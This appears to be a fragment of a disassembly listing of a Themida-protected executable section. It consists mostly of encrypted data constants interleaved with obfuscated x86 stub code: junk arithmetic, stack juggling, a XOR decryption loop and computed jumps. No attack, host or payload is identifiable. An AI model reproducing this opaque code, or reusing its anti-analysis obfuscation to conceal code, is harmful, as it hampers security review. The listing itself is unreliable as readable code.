		dd 0C76D93F5h, 6ACBEF49h, 0CAC1B4FDh, 0D3F95BF7h, 0B60C9DBAh
		dd 0AD301692h, 90F2C457h, 0F21372C4h, 3960021h,	0DED4897h
		dd 5116A8DEh, 0F81C29A5h, 0BC055Ah, 7F6C0000h, 0E2B38C1Eh
		dd 0F95BA7CEh, 0ED6F0D8Bh, 0AAE4193h, 54660AA9h, 644C2D8Ah
		dd 89A8B143h, 0BC2A8CDAh, 0DBC1E53Bh, 279AFC5Ch, 0E0F3E1BBh
		dd 52B43227h, 8EE8660Ch, 8E3475FBh, 0F060266Ah,	2CD221F2h
		dd 254F58AEh, 90B7BB42h, 0F26E92E4h, 0E3625AEh,	173BA5DEh
		dd 0E3600D3h, 0FE60CADEh, 0CDEFBAD8h, 9C8B65A9h, 0FF69D81Ah
		dd 1C74F5DBh, 34B49AD6h, 8D0E7CDEh, 0CBF8DA33h,	7B7EF5AEh
		dd 0E58Eh, 2B8D0A00h, 65BB3FE5h, 9BF9791Fh, 0D830AF55h
		dd 156BEC92h, 0AD1191CFh, 0E88ED42Ch, 23C90F65h, 5B0147A1h
		dd 0FE357BDDh, 17A52E72h, 0D42521F8h, 3C9415A3h, 74D250F6h
		dd 9715152Eh, 0A90AAE41h, 0C4F6A4A8h, 0A83B7F96h, 3227E0C8h
		dd 0A61476C8h, 4C88CE28h, 0C8478CD0h, 198327E0h, 0E2D8D1B7h
		dd 0D2437ABEh, 7A9B21F8h, 0DBCA8794h, 790C5ECBh, 126EEFD5h
		dd 90C442B0h, 802874Ch,	87D943DEh, 0BB1D9B41h, 0D830B197h
		dd 795F0376h, 6D399BF9h, 0C12D8B30h, 7F7D42CCh,	0CA20F001h
		dd 784DDFFEh, 2263AF34h, 6FC12BFDh, 0B60860E1h,	0EA4CCA70h
		dd 95FE0C6h, 0CF42A476h, 4FE242C1h, 2F0DF2CCh, 0D51157B1h
		dd 63CE1559h, 44C3FD22h, 0D3359FE4h, 0FE91E765h, 0D11h
		dd 37F4800h, 0E03234BFh, 0EA4CB627h, 981581F2h,	219FAD40h
		dd 0A42634C7h, 26A9B74Ah, 0AC2D3BCEh, 32B3C154h, 0B63543D6h
		dd 3DBDCB5Eh, 0C24654E7h
		db 6Ch,	0D9h, 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	77E6h
		mov	[esp], esi
		push	ebp
		mov	ebp, 141D2862h
		add	ebp, 31742C7Ch
		sub	ebp, 1
		dec	ebp
		sub	ebp, 3F793A1Eh
		mov	ebx, ebp
		pop	ebp
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, esi
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		mov	[ecx], ebx
		pop	ecx
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		dd 9F08C831h, 0B8F3E33Fh, 6182615h, 0E0FFC503h,	0E926DDEh
		dd 17CE5142h, 2C97B807h, 15287C92h, 6F88D877h, 76EA2816h
		dd 6BC864DFh, 60B52452h, 8A37D8h, 0CE8h, 4CF93A00h, 7CECDF50h
		dd 3E25AEA6h, 810F50BDh, 3, 5FDA8B66h, 0C8B70F5Eh, 7509C681h
		dd 81660000h, 2B4F98EBh, 0FE9D2h, 4E620000h, 0C0E39E06h
		dd 0B27F3979h, 84289BD2h, 3234FF5Fh, 3850Fh, 0F5800000h
		dd 0BF6658CAh, 0E881845Ah, 20E27F7h, 3820Fh, 0BF0F0000h
		dd 58E881DBh, 0E93BB0E6h, 9, 0E50FAF8Eh, 0E88B2BDFh, 55F081DEh
		dd 607BA814h, 5AF38B56h, 61DF8B66h, 0DE950h, 3B280000h
		dd 3F909495h, 7EE086AAh, 8FC85FAAh, 0CF8B1604h,	0EA836AB5h
		dd 0FA81F904h, 0FFFF8BD4h, 18850Fh, 2ABF0000h, 0E966A006h
		dd 2Eh,	776CB2A9h, 0BFE04DC0h, 84256C08h, 8D0F8F7Ah, 6
		dd 8E33DF81h, 6AE95096h, 53FFFFFFh, 62011884h, 4AF89873h
		dd 39D258EEh, 8D8D63A2h, 61828AEh, 68D0Fh, 0BD8B0000h
		dd 6121249h, 2DCD8D89h,	6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 66241DC3h, 85C7DE8Bh
		dd 61231BDh, 6E48h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A3C35545h, 0F669FCA4h, 57C56BF2h, 0DDD381EEh
		dd 0C75F1246h, 12001185h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 28CC7F33h
		dd 8D9FA65Fh, 0FFEAB4EDh, 120C89B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 5EB3012Bh
		dd 0C3A7876Fh, 278195FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 41C2D2C3h, 182DEF8Dh
		dd 0FF006A30h, 1229D195h, 0EBC08B06h, 430E8E4Ah, 5C881676h
		dd 5C2F9C2Fh, 903DE104h, 0EB6C86EEh, 0FBC7F4BDh, 19AC6320h
		dd 87FDF5A7h, 964F6285h, 0E8C06C35h, 35A223BDh,	0B5844E50h
		dd 0CBBF1954h, 46496875h, 687FAFBEh, 0A4C69E73h, 44D31BF1h
		dd 0EBA92081h, 0E8D4E958h, 7, 0B079599Fh, 2B91FAF9h, 122CB995h
		dd 8F0F5E06h, 0
; ---------------------------------------------------------------------------
		add	esi, 6042h
		jnb	loc_5DE402
		mov	[ebp+61233E1h],	ebx


loc_5DE402:				; CODE XREF: Themida_:005DE3F6j
		push	17E5h
		mov	[ebp+612219Dh],	esi
		pop	ecx
		sub	[ebp+61211D1h],	eax


loc_5DE414:				; CODE XREF: Themida_:005DE47Cj
		push	dword ptr [esi]
		add	[ebp+61222D1h],	ecx
		pop	ebx
		mov	[ebp+6120021h],	eax
		xor	ebx, 74295518h
		movsx	edi, di
		xor	ebx, 6C7968E9h
		xor	edx, 1DF69483h
		add	ebx, 3E20C094h
		sub	[ebp+6120CB5h],	esi
		mov	[esi], ebx
		stc
		sub	esi, 2
		mov	dx, 5218h
		dec	esi
		dec	esi
		sub	ecx, 1
		jnz	loc_5DE476
		jb	loc_5DE468
		mov	eax, [ebp+61214A5h]


loc_5DE468:				; CODE XREF: Themida_:005DE45Cj
		jmp	loc_5DE48E
; ---------------------------------------------------------------------------
		db 70h,	13h, 1Dh
; ---------------------------------------------------------------------------
		mov	cs:766037BBh, eax


loc_5DE476:				; CODE XREF: Themida_:005DE456j
		mov	eax, [ebp+6120019h]
		jmp	loc_5DE414
; ---------------------------------------------------------------------------
		db 0FEh, 70h, 2Dh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	word ptr [ebp+7F4471D9h], es
		xchg	eax, edi
		xchg	eax, ecx
		das


loc_5DE48E:				; CODE XREF: Themida_:loc_5DE468j
		jmp	loc_5DE539
; ---------------------------------------------------------------------------
		db 8Ah
		dd 470E17E7h, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h
		dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
		dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh,	7E9BB98Bh
		dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
		dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h,	0BD899Dh
		dd 0B69F8995h, 97BBEFh,	0C3B1B6D0h, 527155h, 0C20DA437h
		dd 0E0910D3h, 0Ah dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5DE539:				; CODE XREF: Themida_:loc_5DE48Ej
		jmp	loc_5DF48A
; ---------------------------------------------------------------------------
		push	6182C43h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6182D32h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6182DFCh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6182F34h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6182FB7h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	618304Fh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6183104h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61831A6h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	618323Eh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6183320h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61833D9h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	618351Fh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6183791h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	618386Ah
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dw 0F82h
		dd 721AB300h, 0D3B7509Dh, 3956EF3Ch, 9DF089D6h,	80352572h
		dd 0A3F01F6Eh, 418E810Ah, 0DA27E8A8h, 75C24D41h, 43444C9Bh
		dd 404DF78Ah, 1C728D63h, 137B34F3h, 98A0C7FCh, 47DF5FEFh
		dd 0B516818Ch, 0BFA437D8h, 2A7798F6h, 1EDDC4CDh, 9FE8F007h
		dd 0DC47DF5Fh, 0B0DE3ED1h, 0B049F18Ch, 8EF69199h, 7A854DF1h
		dd 5F949FE7h, 0F18F4447h, 4E93AF4Dh, 0AECD5F37h, 238C24h
		dd 0AEDE0000h, 49C6CAA5h, 0AF171FDEh, 0D649F17Eh, 0D7E96CBh
		dd 0E64DF181h, 107017CAh, 0C524AEDFh, 10Ch, 351C7217h
		dd 0A8926264h, 6CA10CEEh, 8FAD2E45h, 2DB7676Eh,	343A4DFDh
		dd 484947E0h, 0CC5FCA45h, 83DD2BBh, 0A96628E1h,	0FD0EA174h
		dd 6BF7E91h, 602A8B84h,	10371CAFh, 47DA3557h, 6AB75836h
		dd 0E02F1E82h, 0C9464847h, 0C4CC857Ch, 0B043164Bh, 642AEF9Fh
		dd 38A376ABh, 886D7603h, 3119C1C9h, 798449F2h, 86B4352Ch
		dd 0F016706Ah, 2D360B9Eh, 60DB968Ah, 0F0511963h, 6B3E739Ch
		dd 71C04100h, 2CD08502h, 0DF14BBE4h, 0C645EEE2h, 0CABCC433h
		dd 865004EEh, 1C51BECDh, 636EB649h, 6DA2EBA4h, 7699F5AEh
		dd 404DE6E3h, 3ECF50CFh, 3EE3EDBEh, 0CD477h, 0AD622F00h
		dd 4AC5C760h, 0E92664FDh, 838C039Ch, 1FF09D36h,	1BD3E2D2h
		dd 0B7509D72h, 55EE3BD4h, 0EE87D43Bh, 48226FA0h, 8B96F1F9h
		dd 8E54DF7h, 0A01B7232h, 0DF5FEF98h, 0E834FB47h, 0D0D0E4C2h
		dd 75C22D38h, 285F677Eh, 9247DFD7h, 0CDF14FBh, 0C5D66974h
		dd 43F946C9h, 1C0A5AEh,	0F17ECDF9h, 276F3849h, 76D2CF6Dh
		dd 2A4277E2h, 4DF17C61h, 246B7692h, 24AEE3ACh, 0AC79h
		dd 1C72CB00h, 147F90FDh, 987716DFh, 5B554B63h, 2F5F47DFh
		dd 94FA93E0h, 0B0B9467Bh, 1B50BFCBh, 161EDD48h,	49F164C4h
		dd 0AADDE5FCh, 104DF16Eh, 895C917Eh, 0DE3E28F1h, 670B4DB8h
		dd 162169FCh, 7E636CC9h, 9BEFA8BFh, 0D96C3F74h,	4B41A79h
		dd 3FFE0950h, 0ACB40786h, 47E57ADBh, 0E5329DA8h, 0B75835EEh
		dd 957A1324h, 0BE640B16h, 0BB8227EDh, 0BE5h, 71BE5140h
		dd 0E5BB4D8h, 0ADFA1575h, 47947B14h, 0E330DFAEh, 612CC2F3h
		dd 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h, 0A593380h,	0F78C8502h
		dd 4319F64Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 72151D34h
		dd 1147DF5Fh, 0C58E7306h, 60F946C9h, 0E7B0E52Ah, 0AB1B68A7h
		dd 0FD8D4699h, 770ADD12h, 0EDAC99A2h, 5AD855D6h, 0AAB50A1Eh
		dd 0D097B717h, 0EC749F1h, 8A5D927Dh, 53A4AFF7h,	5BDD1B73h
		dd 58A435Eh, 60957A14h,	0BA8F228Dh, 0EE05C4B1h,	0A36C1ED7h
		dd 9CEB9B6Eh, 0DF3977DEh, 2DE141D4h, 583B89D8h,	828B184Dh
		dd 49CCD493h, 2E417D56h, 0CC4D6423h, 248B326Bh,	0ECFD90F6h
		dd 87206DA2h, 8A890807h, 0C81C27E3h, 0B1B5C23h,	1B760000h
		dd 7E0EA7F4h, 0DFAB4491h, 454AE330h, 0A9E47DCAh, 8C291966h
		dd 97E42B62h, 35828DFEh, 0CE1BF49Ch, 69B65935h,	4F38408Fh
		dd 2C4DF78Ch, 1C72794Fh, 0F7B34F3h, 0FB886D00h,	3C4403F2h
		dd 49F172F2h, 0E03D8A95h, 0AA2BEAD7h, 2FFAABFCh, 83F285BDh
		dd 3D0837Bh, 0D897A250h, 6FA46B1Fh, 0FD24099Ch,	213AD57Ch
		dd 8607F8B7h, 16815489h, 0FE682383h, 6F8B47DFh,	61BB1B72h
		dd 5C7022BCh, 0C2000000h, 0C6CAA5AEh, 0D6411449h, 0ADF10F17h
		dd 0DC9549F1h, 582B60AFh, 0F7C7DC5h, 8DF8CB00h,	0D67B15CEh
		dd 5737AC87h, 87B083B8h, 26D6547h, 6AC0CDB5h, 89A04DF1h
		dd 0F16B0681h, 0D76A754Dh, 0FA47C8C6h, 0E36BEC03h, 9C3B134Ah
		dd 0A1BEC979h, 0B2BD4DF1h, 8D820E1Fh, 0A3F9158h, 0AEFB0000h
		dd 0EA01C0A5h, 22B55A31h, 0F7821FC2h, 0AAC38C49h, 77594CE4h
		dd 1A31F05Bh, 0ADE22D61h, 583647DAh, 0BDD16AB7h, 87901D52h
		dd 7FD3DB9Ah, 6E500F9Fh, 0A3EBA463h, 8861F6Ch, 3C45D207h
		dd 0FE7F9655h, 56545BA2h, 6BCB5E81h, 49F1A807h,	4DAC2B36h
		dd 0A5EBAA48h, 9E33900h, 533E0000h, 0B6D66FBCh,	17730C59h
		dd 7D12ABF8h, 0E1AC4592h, 0C4F1E12Eh, 5FAC632Ah, 0FD4AC5C6h
		dd 96E32C64h, 317E91FDh, 87000857h, 0F44DF78Eh,	5B144117h
		dd 0EA4ADD32h, 47DF5FA1h, 828D02BBh, 12E77A4Dh,	0AB642609h
		dd 7938A376h, 36E3A962h, 0BC4FBA55h, 0F781EE5Ch, 4F0E1949h
		dd 0F7F38h, 0DD325C6Dh,	0E827651Eh, 0CFBF5855h,	757E0B40h
		dd 65C9D190h, 6050099Ch, 4B69D655h, 24C9EDB2h, 9605Dh
		dd 39D6BB00h, 0D63953ECh, 759AF089h, 0F008F28h,	0AB6429C2h
		dd 0A7476E5Eh, 43DC29E6h, 0E17AC748h, 7A1360AFh, 0D4AEFB14h
		dd 8F0A7D85h, 9C794DF7h, 0F31C72C6h, 4B1697BEh,	72BAB8Eh
		dd 0A9E5F689h, 89F41B70h, 0E4FD6954h, 0BC4FD5ADh, 4760222h
		dd 0AE540000h, 0F901C0A5h, 49F78185h, 1DD695A0h, 0B8519E71h
		dd 0C64943D6h, 0A8E39C5Bh, 0CC5F3267h, 88BCCFE7h, 313A4DF7h
		dd 9CD13E4Eh, 979F5EC9h, 50099C97h, 0D03F4E07h,	0ED35C89Bh
		dd 4B8E63E2h, 9F44EDB2h, 8C8D8h, 0A16E2300h, 3ED1BB54h
		dd 0DD3258F1h, 7798F790h, 13FC912Ah, 0FDFD6C6h,	0AB44917Eh
		dd 49E22FE0h, 0E27BC847h, 3C1663ACh, 8FA2E5EDh,	4E14DF7h
		dd 0F31C722Eh, 7699F5BEh, 0EF98A0B7h, 8C47DF5Fh, 4009EE81h
		dd 0C28BC04Fh, 440D42CDh, 0BB8EC34Ch, 7368798Dh, 345D84F0h
		dd 7F7377B3h, 0EE9FEF1Fh, 0AE19EC21h, 77D6AE1Bh, 0C10322BCh
		dd 55000003h, 0DF5F6823h, 0A0858E47h, 81ABD9E1h, 0C3CE49F7h
		dd 926CED04h, 0ABF8644Dh, 761829BCh, 6D21DA99h,	0ACDBE3A2h
		dd 0CF4DF7B1h, 9B3431C4h, 5AE71CF3h, 9DA56451h,	5009C591h
		dd 0D1AA2934h, 81EDB230h, 81315DCh, 236E0000h, 86069FECh
		dd 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh, 8FDC335Ah
		dd 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h,	244DF790h
		dd 1C727147h, 99F5BEF3h, 8FFEB776h, 1D08ED80h, 405730B1h
		dd 0DF5F4F38h, 0E22D6347h, 0E342DAADh, 0DF5FACDBh, 59C4CF47h
		dd 0E27959C6h, 19AE22BCh, 3, 0DF5F6623h, 927F8847h, 81F0CBD3h
		dd 0C8D349F7h, 3071F209h, 0C81AC6F4h, 98F6079Ah, 0FD912A77h
		dd 0F09A5312h, 8417EA1Fh, 1C09129Fh, 0E481555Dh, 59645009h
		dd 0B2070BDAh, 3B02A7EDh, 771h,	0FD4AC5CCh, 9AE72864h
		dd 39868901h, 0D320EFA0h, 6FBC533Ah, 0D5B8367Fh, 3754ED3Ah
		dd 9EF28BD8h, 38B2471h,	96E5BF0Ch, 0F790F98Eh, 0D7AD8A4Dh
		dd 92F5FD14h, 0F147DF5Fh, 4C4253E6h, 0C9C58EC3h, 25068746h
		dd 553D1F8h, 0AE9CE61h,	0FE905B86h, 0F7995211h,	93888518h
		dd 22BC5233h, 7E8h, 71743A00h, 0DE000002h, 0DF5F6623h
		dd 927F8847h, 81E9CBD3h, 0C1CC49F7h, 0CA454902h, 65AAE47Dh
		dd 0AB9AA330h, 9FF2E4ECh, 0CAD55009h, 0B243844Bh, 0E2A94EEDh
		dd 6D9h, 65B25D34h, 24FC0CCh, 0A1EE2169h, 3B888708h, 0D724EBA2h
		dd 6D20CEE7h, 0CFBC55A2h, 365AF340h, 9BF38CD9h,	0FE4D2774h
		dd 0F79191F6h, 3F15F24Dh, 0F7351C72h, 6643FFD8h, 90FB147Bh
		dd 6727F025h, 0CAD2E9A8h, 47DF6BBDh, 3B20B3BEh,	0BFF41B72h
		dd 467B94F6h, 0AA2FB29Eh, 0B732AF33h, 0F6EB38D7h, 22BCF29Eh
		dd 1F4Bh, 5B149D00h, 64ABE534h,	5EF15C2Fh, 1C74Fh, 0FFF77800h
		dd 41CEBF1Eh, 0A410390Ch, 4F7D1069h, 0DF5F6123h, 977E8747h
		dd 8508C1D8h, 262E558Ah, 47DF5F61h, 19AC1722h, 0F781F8B9h
		dd 0DD9CA749h, 58A56A24h, 404ACFBFh, 0A22F64CFh
		dd 38D7B699h, 0B3D4DC03h, 0D04DF789h, 30EF5AC5h, 99FAE28h
		dd 0B2BA1950h, 47E99BD5h, 553A9BA6h, 35D04FBAh,	0BDEDB243h
		dd 5F75118h, 3F520000h,	0A2EA83D0h, 387206Dh, 6926BF0Ch
		dd 0CDC059A6h, 0B005F542h, 73C04F3Eh, 115EB1DAh, 0AAF71878h
		dd 45927D11h, 73141C6Bh, 104DF792h, 0FD145D33h,	0DF5F92F5h
		dd 53E6F147h, 8EC34C42h, 8746C9C5h, 3458C1CEh, 68D3A6DBh
		dd 6A11F0D5h, 0A336D9B1h, 2F5F8A57h, 269E93E0h,	0F322BCFEh
		dd 7, 0F67445h,	23DE0000h, 47DF5F61h, 0D8977E87h, 6A9F701Fh
		dd 8D950497h, 49F7821Ch, 0CAE1A0ABh, 5C917E11h,	0A9E5F689h
		dd 0E801966h, 232B4201h, 4DF78964h, 454D0C17h, 4DF78A42h
		dd 0BEA33641h, 7A392831h, 9A06472h, 0C9485350h,	0EDB2431Ah
		dd 3E8C53F8h, 99000005h, 31CA17F8h, 0CE67B45Bh,	6D0653BCh
		dd 7A0ED22h, 4C3C8986h,	7088569h, 0A56A21BAh, 3ED1BF58h
		dd 0D93658F1h, 5B63B28Ch, 4DF7932Ch, 729C724Fh,	0F5BEF31Ch
		dd 30C8099h, 5B90FBCEh,	0FEE9F87Ch, 0A9C07F90h,	0C3739CF0h
		dd 47DF5FC4h, 1C19ACB7h, 3B550E25h, 5F6324D4h, 152047DFh
		dd 0FEBD1582h, 7CFD22BCh, 0FD92812Ch, 0E10ADD12h, 8A1DE997h
		dd 788h, 2974DA00h, 0DE000000h,	0DB345B14h, 2F40D3A6h
		dd 39D6BA5Fh, 91C63104h, 1449C6C8h, 6C776A7Eh, 752EED22h
		dd 0ECBFF41Bh, 33C55C59h, 2F000000h, 0BEF31C72h, 1A31697h
		dd 1288A253h, 8E6F1F7Fh, 3F4D47DFh, 255AB5DAh, 0E9B2E752h
		dd 363368A7h, 38EAEFF2h, 0D33C5009h, 0EC38CB9Eh, 7B94FAF5h
		dd 1C72782Eh, 2831BEF3h, 6F727A39h, 3C49F782h, 0A25B7231h
		dd 809124EBh, 1BB4010Eh, 0DA679C73h, 1D25E4D1h,	500FAB35h
		dd 4693D7A0h, 30CBC663h, 0D2FB11B9h, 0E24DBA67h, 0EF8B0C23h
		dd 0DAC20738h, 404E5FF2h, 0A5E982CFh, 0E0790E16h, 0FF0A47DFh
		dd 0C9D25F94h, 0FE69A6E6h, 3B373Fh, 696A49F2h, 0E1B4E926h
		dd 1EB6F776h, 17BCEBAAh, 3F850h, 0D13E5300h, 6EA1EB84h
		dd 0D028821h, 0A76827C0h, 43CCC15Ah, 3FAF06F6h,	0DB74C14Eh
		dd 79125FB0h, 12ABF817h, 6C46937Ch, 9472151Dh, 34114DF7h
		dd 9F1C725Eh, 0DF5FF097h, 1D889347h, 0B85737D0h, 3D455C83h
		dd 47DF5F4Ah, 8A9B2E39h, 0F7D60B04h, 0C4F79750h, 0DF5FCBBCh
		dd 42ADB847h, 0C44B440Dh, 0BE51BC8Fh, 1A746F72h, 17B536F5h
		dd 756BDF25h, 0C4B9B649h, 22BCE2CCh, 7699F3ACh,	0A7AF6E41h
		dd 47DF87E0h, 30598A3h,	5Fh, 92F5FD14h,	0F147DF87h, 0AE2553E6h
		dd 0EA01C0A5h, 5FBCCBD3h, 0BEBF47DFh, 3B0E43CCh, 23DD3DD0h
		dd 0E749F1AEh, 15D2E166h, 0A83B1279h, 0F52C9760h, 98381CCAh
		dd 0DBB56E2Dh, 565E7534h, 4DF23E31h, 3D64232Bh,	0C174DF2h
		dd 0D9D66974h, 0F23D9CF1h, 0A36C224Dh, 3CD3BD56h, 30F4007h
		dd 0AEAA0000h, 0EA01C0A5h, 0DF5FA5E2h, 83EE4547h, 2A6B208h
		dd 84030B6Ah, 0F747DFACh, 7FEE81ECh, 0F1D45B77h, 40C2349h
		dd 4DF1C383h, 1A62F500h, 7D11DA0Fh, 0B3C75D92h,	7D4552Eh
		dd 0CF05EF0Ch, 3E471CAFh, 6A819857h, 8434DBB1h,	4DF1D503h
		dd 82E27580h, 5003FC50h, 0F0E7343Fh, 0BBB6D1D9h, 0BAC547DFh
		dd 5C495227h, 64ABE49Dh, 5AC95C2Fh, 0F1E38052h,	8106F49h
		dd 4DF1D47Fh, 0FF90F1FCh, 9D08DB10h, 21EE9F68h,	895844ECh
		dd 0E5A4919Ah, 9A7515CEh, 1DF29C65h, 13BF1FB2h,	825003FCh
		dd 7A332A77h, 0F2C5FA15h, 3D4BB9C9h, 50E343D1h,	8BC04F3Fh
		dd 8443CCC2h, 0BB4EC1CBh, 695861BEh, 76ECA2AAh,	909B49F2h
		dd 2448435Bh, 8FAB4DF2h, 275B3B52h, 3B9024AEh, 0E2000000h
		dd 1C0A5AEh, 0F17ECDF9h, 58373849h, 44AF82B7h, 0C9D1E80Fh
		dd 4DF180BEh, 3FD0BCBDh, 39CC370Ah, 0F180B2D9h,	4902414Dh
		dd 0C497CC43h, 95FCE531h, 24AEDF3Dh, 0AFEAh, 5B143C00h
		dd 3748DB34h, 0BA83B857h, 3E073CD3h, 0C18ABF50h, 0CE414CCDh
		dd 722E1663h, 7447DF5Ah, 0FA8F51Ah, 0CA97D27Fh,	0B5FFFF5Fh
		dd 0A1D63954h, 0A12E63CEh, 0E2EAA998h, 49F1FE74h, 18995863h
		dd 8AC1E635h, 9A972A91h, 8E4D343Dh, 42CDBE77h, 47A73A0Dh
		dd 50043BD4h, 2CE5A4AFh, 6A61AE61h, 99405DE9h, 699DD1Bh
		dd 0F87798F5h, 0EDBE03BFh, 86470EB3h, 0E1000001h, 79125FB0h
		dd 16AFFC13h, 0B54E9B74h, 4FE835DAh, 9484D13Eh,	4FC0CD21h
		dd 0ED226902h, 868907A0h, 21EEA039h, 0A3ABFAD4h, 4DF796E4h
		dd 72E4BA97h, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0B55A31EAh
		dd 0BA1AAD80h, 49F17F0Ch, 1BF49B54h, 503F4088h,	85347101h
		dd 49B4C000h, 0A1D64114h, 0F1C60289h, 0CD5F14Dh, 91C0CA83h
		dd 302D19C9h, 0E41984D8h, 0B1117E11h, 6624AE80h, 95h, 0DE9314B8h
		dd 0AE2C1836h, 0AAE4F588h, 0B37E0911h, 0F2FD47DFh, 7C0FC887h
		dd 0B11CF39Dh, 3116A97Ch, 0B5EA2568h, 0DFAF039Dh, 0A6692547h
		dd 41CEC059h, 8F767F0Ch, 0A88EC8D0h, 6E7949F1h,	0D6BBC421h
		dd 53AF0F17h, 0B165004h, 15FA934Ch, 0B15E2FC8h,	0BE786F32h
		dd 17DE83EDh, 0ADh, 39868908h, 0D623ECA0h, 75C24D3Dh, 0F5CB3DCh
		dd 0ABF81776h, 99F4FABBh, 0FB902976h, 622EC714h, 0C7C760ADh
		dd 0D221FB48h, 0F797BDCAh, 0BE1BE4Dh, 0A7F41B72h, 428F800Eh
		dd 0F31C728Ch, 8099F5BEh, 0DEA9B10Ah, 9D47DF5Fh, 1FF22792h
		dd 10A67B4h, 94D5514h, 0EC49F782h, 89AA6D23h, 9F0AEEAAh
		dd 22EDA16Ah, 0FF523CD5h, 0D11092E6h, 4378E3BDh, 0E7A1252Bh
		dd 0F3EE0255h, 0B8396F8h, 0C3DA9904h, 0F718CCBBh, 11A4AF55h
		dd 0FC137B14h, 7E91FEC7h, 2CB5A149h, 8342CDC1h,	46AFB002h
		dd 396CA1Eh, 0EE216D06h, 3F2B9h, 225C0000h, 0F01F7234h
		dd 739CF2BBh, 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h
		dd 40B844Dh, 8B8406CFh,	10FF8D56h, 5456D4DBh, 4C6815Eh
		dd 83000000h, 348704EEh, 0FB685C24h, 89000030h,	0C4682414h
		dd 8900007Ah, 0BE56243Ch, 7D06347Eh, 1E1E8E68h,	0F2315A7Bh
		dd 3C8B545Eh, 4C48324h,	266868h, 24148900h, 0F6242C81h
		dd 8F2DDE19h, 47810847h, 0DE19F608h, 243C8B2Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 8Fh
		db 9, 8Ah
; ---------------------------------------------------------------------------


loc_5DF48A:				; CODE XREF: Themida_:loc_5DE539j
		mov	eax, 618393Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0FBh
		dd 2279873Fh, 8E6BEE68h, 5D0D38D1h, 540EA67Eh, 213DD164h
		dd 7A218394h, 3A7F8A86h, 4E03E75Dh, 4E55BCE9h, 1A77782Dh
		dd 0B6299B79h, 863A21F1h, 647B8A1Dh, 5E370C6Fh,	0DA1F17BBh
		dd 0AC09F849h, 0C67A212Bh, 0AA492A7Bh, 373E4861h, 39573BC0h
		dd 5D123647h, 6523C719h, 0B43AA755h, 145BD8FCh,	74920C1h
		dd 42BF6F2h, 2236A7EAh,	0B14F54E7h, 0C0728DEEh,	0E919836Ch
		dd 1AAh, 436DF3C9h, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh
		dd 5D9752E4h, 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h
		dd 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h
		dd 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h
		dd 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h,	0ACE56CA1h
		dd 10000h, 43h dup(0)
		dd 6D849700h, 69F033A2h, 0EEh, 0Ah dup(0)
		dd 0A4E90000h, 68000010h, 6183DF0h, 0FB0BB1E9h,	3F1968FFh
		dd 0A7E90618h, 68FFFB0Bh, 61840C5h, 0FB0B9DE9h,	41BE68FFh
		dd 93E90618h, 68FFFB0Bh, 618430Dh, 0FB0B89E9h, 43FC68FFh
		dd 7FE90618h, 68FFFB0Bh, 618449Dh, 0FB0B75E9h, 44FF68FFh
		dd 6BE90618h, 68FFFB0Bh, 61845F5h, 0FB0B61E9h, 466968FFh
		dd 57E90618h, 68FFFB0Bh, 6184721h, 0FB0B4DE9h, 47E668FFh
